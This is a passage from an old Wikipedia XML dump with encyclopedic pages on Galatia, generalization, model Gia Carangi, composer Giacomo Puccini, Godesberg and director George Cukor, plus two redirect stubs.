[[Josephus]] related the biblical figure [[Gomer (Ezekiel)|Gomer]] to Galatia. &quot;For Gomer founded those whom the Greeks now call Galatians, [Galls,] but were then called Gomerites.&quot; [[Antiquities of the Jews]], I:6.  Although others have related Gomer to [[Cimmerians]].

The Galatians were still speaking the [[Celtic languages|Celtic]] [[Galatian language]] in the time of Jerome ([[347]]&amp;ndash;[[420|420 CE]]), who wrote that the Galatians of [[Ankara|Ancyra]] and the [[Treveri]] of [[Trier]] (in what is now the [[Germany|German]] [[Rhineland]]) spoke the same [[Gaulish language|language]]. The final fate of the Galatian people is an subject of some uncertainty, but they seem ultimately to have been absorbed into the [[Greek language|Greek]]- and/or [[Turkish language|Turkish]]-speaking populations of west-central Anatolia.

== External links==
*[http://www.wales.ac.uk/documents/external/cawcs/Galatia2.pdf A detailed map of Celtic settlements in Galatia]

{{Roman provinces 120 AD}}

[[Category:Ancient Gauls]]
[[Category:Ancient peoples]]
[[Category:Ancient Roman provinces]]
[[Category:Celts]]
[[Category:Pauline churches]]

[[ca:Galàcia]]
[[da:Galatien]]
[[de:Galatien]]
[[es:Galacia]]
[[fr:Galatie]]
[[id:Galatia]]
[[nl:Galatia]]
[[no:Galatia]]
[[pl:Galacja]]
[[pt:Galácia]]
[[ru:Галатия]]
[[fi:Galatia]]
[[sv:Galatien]]</text>
    </revision>
  </page>
  <page>
    <title>Galatians</title>
    <id>12745</id>
    <revision>
      <id>15910412</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Epistle_to_Galatians]]
</text>
    </revision>
  </page>
  <page>
    <title>Generalization</title>
    <id>12746</id>
    <revision>
      <id>38882879</id>
      <timestamp>2006-02-09T06:09:25Z</timestamp>
      <contributor>
        <ip>144.131.1.167</ip>
      </contributor>
      <text xml:space="preserve">Concept A is a (strict) '''generalization''' of concept B if and only if:
* every instance of concept B is also an instance of concept A; and
* there are instances of concept A which are not instances of concept B.

Equivalently, A is a generalization of B if B is a [[specialization]] of A.

For instance, ''[[animal]]'' is a generalization of ''[[bird]]'' because every bird is an animal, and there are animals which are not birds ([[dog]]s, for
instance).



This kind of ''generalization'' versus ''specialization'' (or ''particularization'') is reflected in either of the contrasting words of the word pair [[hypernym]] and [[hyponym]]. A hypernym as a generic stands for a class or group of equally-ranked items, such as ''tree'' does for ''beech'' and ''oak''; or ''ship'' for ''cruiser'' and ''steamer''. Whereas a hyponym is one of the items included in the generic, such as ''lily'' and ''daisy'' are included in ''flower'', and ''bird'' and ''fish'' in ''animal''. A hypernym is superordinate to a hyponym, and a hyponym is subordinate to hypernym.

Generalization questions: is the statement a reasonable assumption?
==See also==
*[[inheritance (object-oriented programming)]], 
*[[faulty generalization]]
*[[hasty generalization]]
*[[-onym]]

[[Category:Logic]]

[[es:Generalización (semántica)]]
[[he:הכללה (מתמטיקה)]]
[[sv:Generalisering]]</text>
    </revision>
  </page>
  <page>
    <title>Gia Carangi</title>
    <id>12747</id>
    <revision>
      <id>42060007</id>
      <timestamp>2006-03-03T15:01:48Z</timestamp>
      <contributor>
        <username>BillFlis</username>
        <id>846916</id>
      </contributor>
      <minor />
      <comment>/* Death */</comment>
      <text xml:space="preserve">[[Image:Gia_Carangi.jpg|right|thumb|'''Gia Carangi''' on the cover of Vogue Paris August 1980.]]
'''Gia Marie Carangi''' ([[January 29]], [[1960]] – [[November 18]], [[1986]]) was a top [[United States|US]] [[fashion model]] of the late [[1970s]] and early [[1980s]]. Addicted to [[drug addiction|drugs]], she later became infected with [[HIV]] and was among the first women in the public eye to die from [[AIDS]]-related complications.

Miss Carangi, who was of [[Italians|Italian]], [[Welsh people|Welsh]] and [[Irish people|Irish]] ancestry, was a prototype of the [[Cindy Crawford]]/[[Rachel Hunter]]/[[Elle MacPherson]] &quot;[[Supermodel]]&quot; era, who also appeared on the covers of several fashion publications of her time. 

[[Fashion magazine]]s featuring covers of Gia included British [[Vogue (magazine)|Vogue]], [[April 1]] [[1979]]; Vogue Paris, April 1979; American Vogue, August 1980; Vogue Paris, August 1980; Italian Vogue, January 1981; and several issues of American [[Cosmopolitan (magazine)|Cosmopolitan]] between 1979 and 1982. 

==Beginning==
&quot;Gia&quot;, as she was known in modeling circles, moved from [[Philadelphia]] to [[New York City]] at the age of 18, and quickly rose to prominence, reaching international fame with such magazines as Vogue, Cosmo, and others. Gia was the favourite model of many eminent [[fashion photographer]]s including [[Francesco Scavullo]], [[Arthur Elgort]] and [[Chris von Wangenheim]]. She posed for photos in many countries world-wide and led a fast life. Her [[sexual orientation]] has been disputed: while some think she was completely [[lesbian]], others point to the fact she had many relationships with males and call her [[bisexuality|bisexual]].

==Rise==
[[Image:Gia4.JPG|204|200|right|thumb|Gia on the cover of American Cosmopolitan.]]
Gia was swept right into the [[fashion]] world. She never went through the tough rejections that other models faced, but was considered a &quot;rare [[Gemstone|gem]]&quot; in the modelling business. Partly due to supermodel [[Janice Dickinson]]'s success, a demand for more ethnic-looking models was in. Visually striking, she was a hit with prominent [[photographer]]s. “There’s only been maybe 3 girls in my whole career that have walked into my studio and I went ‘wow’. Gia was the last who came in here and I said ‘wow.’” said top photographer Francesco Scavullo. By the end of [[1978]], at age 18, Gia had already rocked the fashion world. However, she was extremely [[Loneliness|lonely]] and still looking for stability in her life.

Gia was a regular at [[Studio 54]] and [[Mudd Club]], in which anyone who was anyone was seen. &quot;We loved it,&quot; Janice Dickinson would later recall, &quot;it was a place for us. A place where we could be with the beautiful, do drugs, be out of our minds and it all seemed normal.&quot; Gia began to develop a [[cocaine]] [[Drug addiction|addiction]]. [[Kelly LeBrock]], a top model at the time, remembered the time she spent with Gia: “Gia, when I was working with her, was still sort of in the beginning, still very fresh and lovely, I think drowning a little bit in her own success, but not anymore screwed up than anybody else was in the set.” 

[[Image:Gia5.JPG|200px|left|thumb|Gia on the cover of French Vogue.]]
In October of 1978, Gia did her first major shoot with top fashion photographer Chris von Wangenheim. Wangenheim had Gia pose nude behind a chain-link fence, with makeup assistant [[Sandy Linter]]. She automatically fell in love. &quot;She sent flowers to me, and she really sort of courted me, which I thought was adorable. Eventually I did go out with her. She’s the type of person at that time, and anyone who knew her at the time can tell you, if she showed up on your doorsteps and you opened the door and she got in your apartment she was there, that’s it,”

By January of [[1980]], Gia's surrogate mother and agent, [[Wilhelmina Cooper]] was diagnosed with [[lung cancer]]. Gia quickly turned to drugs to escape the harsh reality. Scavullo recalled a distinct instance in which Gia was on a fashion shoot in the Caribbean. &quot;She was crying, she couldn't find her drugs. I literally had to lay her down on her bed until she fell asleep.&quot; A month after she returned, Wilhelmina passed away at the age of 40. 

To the world, 1980 was a great year for Gia in fashion. She was seen on covers of Vogue and Cosmpolitan, but behind the scenes she was a very angry and hurt person. She would have violent temper tantrums, walk out of photo shoots, and even fell asleep in front of the camera. In the November 1980 issue of ''Vogue'', Gia's track marks from [[heroin]] can be easily seen. For three weeks, Gia was signed with Eileen Ford, who soon dropped her because she had little tolerance for Gia's behavior.

==Fall==
In 1981, Gia dropped from the face of the fashion world. She had hopes of getting her life back in order. She enrolled in a 21-day [[Substance-abuse rehabilitation|detox program]]. It is said at that time, Gia started dating a college student named ''Rochelle'' (her real name was Elyssa Golden — she used an alias when interviewed by Stephen Fried for ''Thing of Beauty''). The Carangi family and Gia's mother had always suspected that Rochelle had an abusive [[heroin]] problem, and brother Michael Carangi even recalls being offered some by Rochelle. With Rochelle by her side, Gia's recovery failed. In 1981, she moved out of her mother's house and in with some friends, once again entering a detox program.

Her attempt to quit drugs was shattered when news that good friend and fashion photographer Chris von Wangenheim had died in a car accident. It is said that Gia locked herself in a bathroom for hours, shooting heroin. In the fall of 1981, Gia looked far different from the top model she once had been. However, she was still determined to make a comeback in the fashion industry. She contacted [[Monique Pillard]] (who was largely responsible for Janice Dickinson's career), who was hesitant to sign her. “She was sitting in my chair and I said, ‘Gia, I want to represent you so badly and everything, but I hear a lot of negative stories about you.’ And I remember I asked her ‘well, why are you wearing such a long shirt? Can I see your arms?’ And she said ‘No!’ And she held on to her shirt and she said to me, ‘Do you want to represent me or not?’” 

For her second time, Gia received the harsh treatment she skipped last time. Nobody would book her. Desperate, she turned to good friend Scavullo. She landed a ''Cosmo'' cover, a gift from Scavullo. At that time, even he knew she had no career left. “It made me very sad, I had a tough time that day because I really wanted it to be her best cover and it wasn’t; it just couldn’t be. No matter how hard I tried it just couldn’t happen. That wonderful spirit she had was gone,” says Scavullo. Many believe that Gia's arms were placed behind her back because of all the trackmarks, but Scavullo has denied the rumors. Shot in the winter of 1982, it would be Gia's last cover.

[[Image:Gia2.JPG|275px|right|thumb|Gia's last cover, a gift from photographer Francesco Scavullo.]]

In [[West Germany]], a budding fashion industry was being created. Although seen as tacky by the designers from New York, [[Paris]] and [[Milan]], the Germans were willing to pay 10,000 a week to shoot Gia abroad. However, no one in the states would book her. In the spring of 1983, Gia was caught with drugs in a shoot in Africa. Her career was over.

Gia moved back in with Rochelle, and after pressures from her family she entered a drug-rehabilitation program again at Eagleville Hospital. Another patient, Rob Fay became close to Gia. Although rumors among the other patients said that Fay was romantically interested with Gia, Fay claimed it was just a friendship. &quot;She was really the only person I was real close to at the time.&quot;

After six months, Gia was released from the program. She moved back to Philadelphia, and it seemed as if she was getting her life back on track. She started taking classes in photography and cinematography. But, three months later, Gia had vanished once again, and had returned to [[Atlantic City, New Jersey|Atlantic City]], and started shooting heroin again. She [[prostitution|sexually prostituted herself]] and was [[rape]]d on several occasions. She soon became sick with [[pneumonia]], and her mother came and checked her into a hospital.

==Death==
She was diagnosed with [[AIDS]], then only a newly recognized disease. As her condition worsened, she was transferred to Philadelphia's [[Hahnemann University Hospital]]. Her mother stayed with her day and night, allowing barely anyone to see her. By this time, AIDS had taken a toll on her body, and her once beautiful face was vanishing. &quot;She wanted to get the hell out of there,&quot; recalled her mother, &quot;but I kept having to tell her, that even if we made it as far as the elevator, she would be dead. And that's when I knew. I knew she'd never be able to come home.&quot;

On [[November 18]], [[1986]] at 10 in the morning, 26-year-old Gia Carangi died. 

Her funeral was held on November 23 at a small funeral home in Philadelphia. Gia's mother and father did their best to contact people in Philadelphia and in New York. Some of Gia's Philadelphia friends chose not to attend, most because of their anger at Gia's mother, for not allowing anyone to see her. Nobody from the fashion world attended. However, weeks later, Francesco Scuvallo sent a Mass card when he heard the news. &quot;We were hysterically crying in the studio when we heard,&quot; he recalled. &quot;I loved her. I could cry now, just talking about her.&quot;

In April 1988, Gia's mother, Kathleen, appeared on the morning show ''AM Philadelphia'', after they aired a segment about AIDS. It was a move that shocked the family. Gia's father called Rochelle to let her know about the show. &quot;I had run into him in the casino before that,&quot; she recalled. &quot;He just gave me a big hug and a kiss and he started crying. He knew Kathleen. He knew she'd do anything to get on TV. She wanted to be the model, the superstar. Now she was doing it through Gia's death.&quot;

==Legacy==
In 1986, [[Cindy Crawford]] was brought to New York by Monique Pillard. She was a sensation, but she knew little about the people who had paved the way for her ethnic looks. Had she never received the nickname Baby Gia, Crawford would have had no idea about either Dickinson or Carangi, who paved the way for ethnic-looking models. &quot;But [I'm] more wholesome&quot; Crawford pointed out, &quot;She was wild. Completely opposite me. She'd leave a booking in the clothes to buy cigarettes and not come back for hours.&quot; After a long pause, Crawford stated, &quot;She's not living anymore.&quot;

A 1993 biography by [[Stephen Fried]] and a biographical film, ''[[Gia]]'', which debuted on [[Home Box Office|HBO]] in [[1998]], brought her back to the public's attention. [[Angelina Jolie]] played Carangi in the movie.

In [[1996]], actress-screenwriter [[Zoe Tamerlis Lund|Zoë Tamerlis]] (a.k.a. Zoë Lund, ''[[Bad Lieutenant]]''), herself a heroin addict who would die of drug-related causes in [[1999]], was commissioned to write a screenplay based upon Carangi's life. This version of ''Gia'' was not produced, but after Tamerlis's death, footage of her discussing Carangi's life was incorporated into a documentary entitled ''[[The Self-Destruction of Gia]]''.

==Magazine Listings==
'''American Vogue''' 

''10/78'' Gia's ''Vogue'' debut.

''11/78'' [[Calvin Klein]] slip-dress with sunglasses. 

''1/79'' Infamous fence shot by Chris von Wangenheim. 

''2/79'' Desert shots by von Wangenheim.

''5/79'' Mexico shots with Janice Dickinson and Patti Hansen, shot by [[Mike Reinhardt]].

''9/79'' Studio 54 shots by Patrick Demarchelier.

''10/79'' Paris Collection shots.

''11/79'' Special Diane von Furstenberg ads by Chris von Wangenheim. 

''2/80'' Shot of Gia watering a plant by Denis Piel.

''3/80'' Editorial precursors to Versace ads by Richard Avedon.

''5/80'' Francesco Scuvallo shots with Kim Alexis from St. Barts.

''7/80'' Scuvallo's favorite shot of Gia.

''8/80'' Cover and editorial by Richard Avedon.

''11/80'' Infamous track mark editorial by Francesco Scavullo.

''9/82'' Last ''Vogue'' Shot.

'''Glamour'''

''6/79'' 

''8/79''

'''British Vogue'''

''4/79'' Cover and editorial photographed by Alex Chatelain.

'''French Vogue'''

''3/79'' Famous cross-dressing editorial by Helmut Newton.

''4/79'' Cover by Helmut Newton.

''9/79'' Christian Dior Boutique ads by Denis Piel.

''8/80'' Cover by Albert Watson. 

'''Italian Vogue'''

''3/79'' Editorial by Francois Lamy.

''1, 2, 3/80'' Armani ads by Fallai on the back covers.

''4/80'' Gia in a group Armani ad by Fallai.

''5/80'' Versace ads by Richard Avedon.

''2/81'' Cover.

'''German Vogue'''

''10/79'' Piel collection shots, outakes from American Vogue.

''4/80'' Florida Shots by John Stember.

''12/83, Leder+Pelz supplement'' Gia's last appearance in a fashion magazine. 2 pages by Albert Watson.

'''American Harper's Bazaar'''

''8/79''

''9/79''

''10/79''  

''11/79''

'''American Cosmopolitan''' 

''4/79'' Cover by Francesco Scavullo.

''7/79'' Cover by Francesco Scavullo.

''1/80'' Cover by Francesco Scavullo.

''7/80'' Cover by Francesco Scavullo.

''4/82'' Cover, the gift from Francesco Scuvallo.

'''Italian Harpers Bazaar.'''

''7-8/78'' (double issue) Citicorp building editorial by Chris von Wangenheim.

''9/78'' Rome and Paris collections with Kim Alexis and Juli Foster. Photographs by Patrick Demarchelier and Chris von Wangenheim.

==Designers and cosmetic firms she represented==
* [[Body Basics]]
* [[Christian Dior]]
* [[Cutex]]
* [[Diane Von Furstenberg]]
* [[Giorgio Armani]]
* [[Lancetti]]
* [[Levis]]
* [[Maybelline]]
* [[Perry Ellis]]
* [[Versace]]
* [[Vidal Sasson]]
* [[Yves Saint Laurent]]

==See also==
* [[Disco]]
* [[New Wave music]]
* [[Heroin chic]]

==External links ==
*[http://www.thegiacarangiproject.com The Gia Carangi Project]
*[http://www.giacarangi.org Gia Carangi]
*[http://www.gia-carangi.com Gia Carangi]
*[http://www.thegiacarangifoundation.org The Gia Carangi Foundation]
*[http://groups.myspace.com/giacarangi The Gia Carangi Myspace Group]
*[http://www.fmd1.com/models/Gia_Carangi Gia Carangi's profile in the FMD-database]
*[http://clubs.yahoo.com/clubs/thegiacaranginetwork Yahoo! Gia Carangi Club]
*[http://www.angelfire.com/mn/taya15 Taya's Gia Page]
*[http://www.lundissimo.info/Zoe/filmvid/gia/index.html Zoe Tamerlis's Gia]
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=5311&amp;pt=%3Cb%3EGia%3C/b%3E%20Carangi Gia Carangi's grave site]
*[http://giamariecarangi.ewestpost.com GIA CARANGI]
*[http://giamariecarangi.co.nr Kira's In Memory of Gia Marie Carangi Page]
[[Category:1960 births|Carangi, Gia]]
[[Category:1986 deaths|Carangi, Gia]]
[[Category:AIDS-related deaths|Carangi, Gia]]
[[Category:American models|Carangi, Gia]]
[[Category:Lesbian, gay, bisexual, or transgender people|Carangi, Gia]]
[[Category:People from Philadelphia|Carangi, Gia]]
[[Category:Supermodels|Carangi, Gia]]

[[fi:Gia Carangi]]
[[nl:Gia Marie Carangi]]</text>
    </revision>
  </page>
  <page>
    <title>Giacomo Puccini</title>
    <id>12750</id>
    <revision>
      <id>41714433</id>
      <timestamp>2006-03-01T06:17:51Z</timestamp>
      <contributor>
        <username>FaZ72</username>
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      <comment>moved reference to Maguire's ending of Turandot to the Turandot topic</comment>
      <text xml:space="preserve">[[Image:GPuccini.jpg|thumb|Giacomo Puccini]]
'''Giacomo Antonio Domenico Michele Secondo Maria Puccini''' ([[December 22]], [[1858]] &amp;ndash; [[November 29]], [[1924]]) is regarded as one of the great [[opera|operatic]] [[composer|composers]] of the late 19th and early 20th century.

== Life ==
Puccini was born in [[Lucca]], [[Italy]] into a family with a long history of music. After the death of his father when he was only five years old, he was sent to study with his uncle [[Fortunato Magi]], who considered him to be a poor and undisciplined student. Later, he took the position of church organist, but it was not until he saw a performance of [[Giuseppe Verdi|Verdi]]'s ''[[Aida]]'' that he became inspired to be an opera composer.

In 1880, the ''Messa di Gloria (Glory Mass)'', composed at the age of 21, marked the end of Puccini's apprenticeship as a composer and the culmination of his family's long association with [[Christian music|church music]] in his native Lucca. The work offers fascinating glimpses of the dramatic power that Puccini was soon to unleash on Milan's stages. The orchestration and the overall feeling of drama conveyed by his music establish a dialogue with [[Verdi's Requiem]] and perhaps already constitute a prediction of the future operatic career Puccini would embrace for life. 

From [[1880]] to [[1883]] he studied at the [[Milan Conservatory]] under [[Amilcare Ponchielli]] and [[Antonio Bazzini]].  In [[1882]], Puccini entered a competition for a one-act opera.  Although he did not win, ''[[Le Villi]]'' was later staged in [[1884]] at the Teatro dal Verme; it also caught the attention of [[Giulio Ricordi]], head of [[G. Ricordi &amp; Co.]] music publishers, who commissioned a second opera (''[[Edgar (opera)|Edgar]]'') [[1889]]. From 1891 on, Puccini passed more and more of his time at [[Torre del Lago]], in the [[Tuscan]] countryside. In this place on the border of the Massaciuccoli lake, where he passed lots of time hunting, he found refuge from the crowded city. Later he built a villa and moved there definitively in 1900. It was to remain his home and workplace until the very last years of his life. He is buried in the villa's chapel.

''[[Manon Lescaut (Puccini)|Manon Lescaut]]'' [[1893]], his third opera, was a great success and it also began his relationship with the [[libretto|librettests]] [[Luigi Illica]] and [[Giuseppe Giacosa]], who worked with him on his next three operas.  The first of these, ''[[La bohème]]'' [[1896]] (based on a story by [[Henri Murger]]), is considered one of his best works, as well as one of the most romantic operas ever composed.  His next opera, ''[[Tosca]], ''[[1900]] was Puccini's first foray into [[verismo]].  ''[[Madama Butterfly]]'' [[1904]] (based on a play by [[David Belasco]]) was greeted with great hostility at its opening (mostly orchestrated by his rivals), but after some reworking it has become another of his most successful operas.

Composition was slow after this.  In 1903 he was injured in an automobile accident. In 1906, Giacosa died.  In 1909, there was scandal after Puccini's wife, Elvira, falsely accused their maid of having an affair with Puccini. The maid then committed [[suicide]].  And in 1912, Puccini's editor, Ricordi, died.

Nonetheless, in 1910, Puccini completed ''[[La fanciulla del West]]'', which he later on thought of as his most powerful opera, and, in 1917, finished the score of ''[[La rondine]]'', a piece he reworked from an operetta he had attempted to compose only to find that his style and talent were incompatible with the genre.

In [[1918]], ''[[Il Trittico]]'' premiered.  This work is composed of three one-act operas in the style of the Parisian [[Grand Guignol]]: a horrific episode (''[[Il Tabarro]]''), a sentimental tragedy (''[[Suor Angelica]]'') and a comedy or farce (''[[Gianni Schicchi]]'').  Of the three, ''Gianni Schicchi'' is the most popular and ''Il Tabarro'' the least.  ''Gianni Schicchi'', which takes place in [[Florence]], is sometimes performed as a double-bill with a one act opera such as [[Cavalleria Rusticana]] or [[I Pagliacci]].

A habitual chain smoker of cigarettes, Puccini began to complain of chronic sore throats towards the end of 1923. A diagnosis of throat cancer led his doctors to recommend a new and experimental treatment called [[Radiation therapy|radiation therapy]], which was being offered in [[Brussels]], [[Belgium]]. He died there on [[November 29]] [[1924]] from complications from the treatment. Uncontrolled bleeding led to a heart attack one day after undergoing surgery. News of his death reached [[Rome]] during a performance of ''La bohème''. The opera was immediately stopped, and the orchestra played [[Frédéric Chopin|Chopin]]'s [[Piano Sonata No. 2 in B flat Minor (Chopin)|''Funeral March'']] for the stunned audience.  He was buried in Milan, but in 1926 his son ordered the transfer of his father's remains to the chapel in his house at Torre del Lago where he still lies together with his wife and son. His death marked the end of opera as a popular art form. [[Turandot]], his last opera was left unfinished. The last two scenes were completed by [[Franco Alfano]]. When the opera was premiered by [[Toscanini]] he had chosen not to perform the score by Alfano. The performance progressed to the last measures that Puccini himself completed and orchestrated, and at this point, the orchestra stopped, and the performers froze in position.  Toscanini turned to the audience and said: &quot;Here the opera finishes, because at this point the Maestro died&quot;. Only in 2001 an official new completion was made by [[Luciano Berio]].

== Music ==
Although Puccini is mainly known for his operas, he also wrote some orchestral pieces, sacred music, chamber music and songs for voice and piano.

===Puccini's operas===
*''[[Le Villi]]'', 1884. 
*''[[Edgar (opera)|Edgar]]'', 1889.
*''[[Manon Lescaut (Puccini)|Manon Lescaut]]'', 1893.
*''[[La bohème]]'', 1896.
*''[[Tosca]]'', 1900.
*''[[Madama Butterfly]]'', 1904.
*''[[La fanciulla del West]]'', 1910.
*''[[La rondine]]'', 1917.
*''[[Il Trittico]]'': ''[[Il Tabarro]]'', ''[[Suor Angelica]]'', ''[[Gianni Schicchi]]'', 1918.
*''[[Turandot]]'', left unfinished in 1924 by the time of the composer's death, it was premiered in 1926 in a version completed by [[Franco Alfano]].

===Puccini's works and versions===
*Messa di Gloria (Gloria Mass, Lucca, 1880)
*Preludio Sinfonico in A major (Milan, 1882)
*Capriccio Sinfonico (Milan, 1883)
*Le Villi (1884-05-31 Teatro dal Verme, Milan) 
*Le Villi [rev] (1884-12-26 Teatro Regio, Turin) 
*Edgar (1889-04-21 [[La Scala, theatre|Teatro alla Scala]], Milan - 4 acts)
*Edgar [rev ] (1891-09-05 Teatro del Giglio, Lucca - 4 acts) 
*Edgar [rev 2] (1892-02-28 Teatro Comunale, Ferrara - 3 acts) 
*Manon Lescaut (1893-02-01 Teatro Regio, Turin) 
*La bohème (1896-02-01 Teatro Regio, Turin) 
*Tosca (1900-01-14 Teatro Costanzi, Rome) 
*Madama Butterfly (1904-02-17 Teatro alla Scala, Milan) 
*Madama Butterfly [rev] (1904-05-28 Teatro Grande, Brescia) 
*Edgar [rev 3] (1905-07-08 Teatro Colón, Buenos Aires - 3 acts) 
*Madama Butterfly [rev 2] (1905-07-10 Covent Garden, London) 
*Madama Butterfly [rev 3] (1905-12-28 Opéra Comique, Paris) 
*La fanciulla del West (1910-12-10 Metropolitan Opera, New York) 
*La rondine (1917-03-27 Opéra, Monte Carlo) 
*Il trittico (1918-12-14 Metropolitan Opera, New York): 
**Il tabarro 
**Suor Angelica 
**Gianni Schicchi
*Turandot (1926-04-25 Teatro alla Scala, Milan)

==Media==
{{multi-listen start}}
{{multi-listen item|filename=Giacomo Puccini - Preludio Sinfonico.ogg|title=Preludio Sinfonico|description=|format=[[Ogg]]}}
{{multi-listen end}}

== References ==
* http://www.bohemianopera.com/puccini.htm
* http://w3.rz-berlin.mpg.de/cmp/puccini.html

== External links ==
*[http://cylinders.library.ucsb.edu/search.php?query=puccini&amp;queryType=%40attr+1%3D1016 Puccini cylinder recordings], from the [[Cylinder Preservation and Digitization Project]] at the [[University of California, Santa Barbara]] Library.
*{{IckingArchive|idx=Puccini|name=Giacomo Puccini}}

[[Category:1858 births|Puccini]]
[[Category:1924 deaths|Puccini]]
[[Category:20th century classical composers|Puccini]]
[[Category:Italian composers|Puccini]]
[[Category:Natives of Lucca|Puccini]]
[[Category:Opera composers|Puccini]]
[[Category:Puccini|*]]
[[Category:Romantic composers|Puccini]]

{{Link FA|sr}}

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[[th:จิอาโคโม ปุชชินี]]</text>
    </revision>
  </page>
  <page>
    <title>Godesberg</title>
    <id>12751</id>
    <revision>
      <id>41457410</id>
      <timestamp>2006-02-27T13:39:51Z</timestamp>
      <contributor>
        <username>Stemonitis</username>
        <id>156441</id>
      </contributor>
      <comment>stub sort</comment>
      <text xml:space="preserve">'''Godesberg''' (roughly &quot;god's mountain&quot;), a hill in the [[Eifel]] mountains in the [[Rhineland]], [[Germany]]. [[Bad Godesberg]] (&quot;Bad&quot; indicates a [[spa town|spa]]) is a town near [[Bonn]] in the Eifel, founded in [[1210]].

Godesberg is one of many places in Germany named after the highest Germanic pre-Christian god [[Gwodan]].

==External links==
*http://www.eifelfuehrer.de/B/BadGodesberg.html (in [[German language|German]], with images)

{{NorthRhineWestphalia-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Gramophone</title>
    <id>12753</id>
    <revision>
      <id>15910419</id>
      <timestamp>2002-10-22T18:12:20Z</timestamp>
      <contributor>
        <ip>217.158.106.247</ip>
      </contributor>
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Phonograph]]</text>
    </revision>
  </page>
  <page>
    <title>George Cukor</title>
    <id>12754</id>
    <revision>
      <id>41029508</id>
      <timestamp>2006-02-24T16:24:43Z</timestamp>
      <contributor>
        <username>Bellhalla</username>
        <id>160900</id>
      </contributor>
      <minor />
      <comment>wfy some films, spelling fix</comment>
      <text xml:space="preserve">'''George Cukor''' ([[July 7]], [[1899]] &amp;ndash; [[January 24]], [[1983]]) was an [[United States|American]] [[film director]]. 

==Life and career==
'''George Dewey Cukor''' was born in [[New York City]] to [[Hungary|Hungarian]] [[Jewish]] immigrants, Victor F. and Helen (Gross) Cukor. (His name means ''sugar'' in Hungarian.) As a teenager, he was infatuated with [[theater]] and often cut classes to attend afternoon matinees. Following his graduation from De Witt Clinton High School in 1916, he spent a year with the Students Army Training Corps. He then obtained a job as an assistant stage manager for a [[Chicago, Illinois|Chicago]] theater company. After gaining three years of experience, he formed his own stock company in [[Rochester, New York]] in 1920, and worked there for seven years. He then returned to Broadway where he worked with such formidable actresses as [[Ethel Barrymore]] and Jeanne Eagles.

When [[Hollywood]] began to recruit New York theater talent for [[sound films]], Cukor answered their call and moved there in 1929. His first job was as a dialog director at [[Paramount Pictures]] for the film ''River of Romance'' (1929), followed by ''[[All Quiet on the Western Front]]'' (1930). He then co-directed three films before making his solo debut directing [[Tallulah Bankhead]] in ''Tarnished Lady'' (1931). Cukor left Paramount after a legal dispute resulting from his dismissal from an earlier film (''One Hour With You'') and went to work with [[David O. Selznick]] at [[RKO Studios]].

Cukor's career flourished at RKO where he directed a string of impressive films including ''[[What Price Hollywood?]]'' (1932), ''[[A Bill of Divorcement]]'' (1933), ''[[Dinner at Eight]]'' (1933), ''[[Little Women (1933 film)|Little Women]]'' (1933), ''[[Personal History, Adventures, Experience, and Observation of David Copperfield the Younger|David Copperfield]]'' (1935), ''[[Romeo and Juliet (1936 film)|Romeo and Juliet]]'' (1936), and ''[[Camille (movie)|Camille]]'' (1937).

By this time, Cukor had established a reputation as a director who could coax great performances from actresses and he became known as a &quot;woman's director,&quot; a title which he resented. One of Cukor's first ingenues was actress [[Katharine Hepburn]], whose looks and personality left RKO officials at a loss as to how to use her. Cukor ended up directing her in her most successful films and they became close friends off the set.

Cukor was hired to direct ''[[Gone with the Wind (film)|Gone with the Wind]]'' by David O. Selznick in 1937 and he spent one year with pre-production duties as well as spending long hours coaching [[Vivien Leigh]] and [[Olivia de Havilland]], the film's stars. Cukor was soon fired from the film, however, with rumors ranging from [[Clark Gable]] being uncomfortable with Cukor's [[homosexuality]] to Cukor quitting the film himself because of script changes affecting the quality of his work. Whatever the reason, Cukor continued to coach Leigh and De Havilland off the set. 

Following the ''Gone with the Wind'' debacle, Cukor directed ''[[The Women]]'' (1939), a popular film notable for its all female cast and ''[[The Philadelphia Story]]'' (1940) starring Katharine Hepburn. He also directed another of his favorite actresses, [[Greta Garbo]], in ''Two Faced Woman'' (1941) before she retired from the screen. 

The 1940s was a decade of hits and misses for Cukor. He was off track with ''Two Faced Woman'' as well as ''Her Cardboard Lover'' (1942) starring [[Norma Shearer]]. However, he did achieve more success with films such as ''A Woman's Face'' (1941) with [[Joan Crawford]], ''[[Gaslight (1944 film)|Gaslight]]'' (1944) with [[Ingrid Bergman]] and ''[[Adam's Rib]]'' (1949) with [[Katharine Hepburn]] and [[Spencer Tracy]].

Cukor's reputation as an actor's director continued as he helped several actors win [[Academy Awards]]. [[James Stewart (actor)|James Stewart]] won a [[Best Actor]] Oscar for ''The Philadelphia Story'', [[Ronald Colman]] won a [[Best Actor]] Oscar for ''[[A Double Life]]'' (1947) and [[Judy Holliday]] won for [[Best Actress]] in 1950 for ''[[Born Yesterday]]''. In 1954, Cukor made his first film in color, ''[[A Star Is Born (1954 film)|A Star Is Born]]'' which featured an impressive come-back performance by [[Judy Garland]]. A decade later, Cukor won an Academy Award himself, for [[Best Director]], for ''[[My Fair Lady]]'' (1964), for which [[Rex Harrison]] won a [[Best Actor]] Oscar too. 

He continued to work into his 80s and directed his last film, ''Rich and Famous'', in 1981.

Cukor was well known in his personal life as a man having a good time. During the heyday of Hollywood, his celebrated home was the site of weekly Sunday parties and his guests knew that they would always find interesting company, good food, and a beautiful atmosphere when they visited.  Cukor's friends were of paramount importance to him and he kept his home filled with their photographs.  Regular attendees at his soirees included [[Katharine Hepburn]] and [[Spencer Tracy]], [[Joan Crawford]] and [[Douglas Fairbanks, Jr.]] , [[Lauren Bacall]] and [[Humphrey Bogart]], [[Claudette Colbert]], [[Marlene Dietrich]], [[Laurence Olivier]] and [[Vivien Leigh]], [[Richard Cromwell]], [[Noel Coward]], [[Cole Porter]], [[James Whale]], [[Edith Head]], and [[Norma Shearer]], especially after the death of her first husband, [[Irving Thalberg]].  Cukor, who was gay, did not come out as a spokesman for gay rights but worked behind the scenes to fight homophobia in Hollywood. 

George Cukor died 1983 at the age of 83. He was interred in the [[Forest Lawn Memorial Park (Glendale)|Forest Lawn Memorial Park Cemetery]] in [[Glendale, California]].

==Filmography==
*''[[Grumpy (film)]]'' (1930)
*''[[Virtuous Sin]]'' (1930)
*''[[The Royal Family of Broadway]]'' (1930)
